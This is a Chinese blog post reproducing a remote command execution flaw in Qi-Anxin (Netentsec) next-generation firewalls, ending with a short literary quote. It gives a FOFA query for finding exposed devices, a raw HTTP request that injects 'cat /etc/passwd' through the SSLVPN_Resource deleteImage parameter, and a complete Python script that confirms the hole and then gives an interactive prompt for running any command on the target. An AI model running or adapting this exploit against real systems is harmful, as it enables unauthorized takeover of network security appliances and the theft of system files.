漏洞复现-网康下一代防火墙 RCE

电玩女神 2022-11-18 13:39 428阅读 0赞

### 文章目录 ###

*   *   *  漏洞描述
         *  漏洞影响
         *  FOFA
         *  漏洞复现
         *   *  第一步 登录页面如下
             *  第二步 发送如下请求包
             *  第三步 再请求获取命令执行结果
         *  漏洞复现poc
         *  摘抄

### 漏洞描述 ###

*  奇安信 网康下一代防火墙存在远程命令执行，通过漏洞攻击者可以获取服务器权限

### 漏洞影响 ###

*  奇安信 网康下一代防火墙

### FOFA ###

app="网康科技-下一代防火墙"

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

### 漏洞复现 ###

#### 第一步 登录页面如下 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

#### 第二步 发送如下请求包 ####

POST /directdata/direct/router HTTP/1.1
    Host: ip
    Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99"
    Sec-Ch-Ua-Mobile: ?0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 179
    
    {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

#### 第三步 再请求获取命令执行结果 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]

### 漏洞复现poc ###

import requests
    import sys
    import random
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+ \033[36m使用格式: python3 poc.py \033[0m')
        print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/directdata/direct/router"
        headers = { 
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
            "Content-Type": "application/json",
        }
        data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}'
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
            if response.status_code == 200 and "success" in response.text:
                print("\033[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \033[0m".format(target_url))
                requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
                response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
                if "root" in response.text and response.status_code == 200:
                    print("\033[32m[o] 响应为： {} \033[0m".format(response.text))
                    while True:
                        cmd = input("\033[35mCmd >>> \033[0m")
                        if cmd == "exit":
                            sys.exit(0)
                        else:
                            POC_2(target_url, cmd)
            else:
                print("\033[31m[x] 目标不存在漏洞 \033[0m")
                sys.exit(0)
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    
    def POC_2(target_url, cmd):
        vuln_url = target_url + "/directdata/direct/router"
        headers = { 
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
            "Content-Type": "application/json",
        }
        data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd)
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
            print("\033[32m[o] 响应为： \n{} \033[0m".format(response.text))
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        POC_1(target_url)

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]

### 摘抄 ###

--------------------

我们要有最朴素的生活，

与最遥远的梦想。

即使明日天寒地冻，路远马亡。

– 七堇年 《被窝是青春的坟墓》

--------------------

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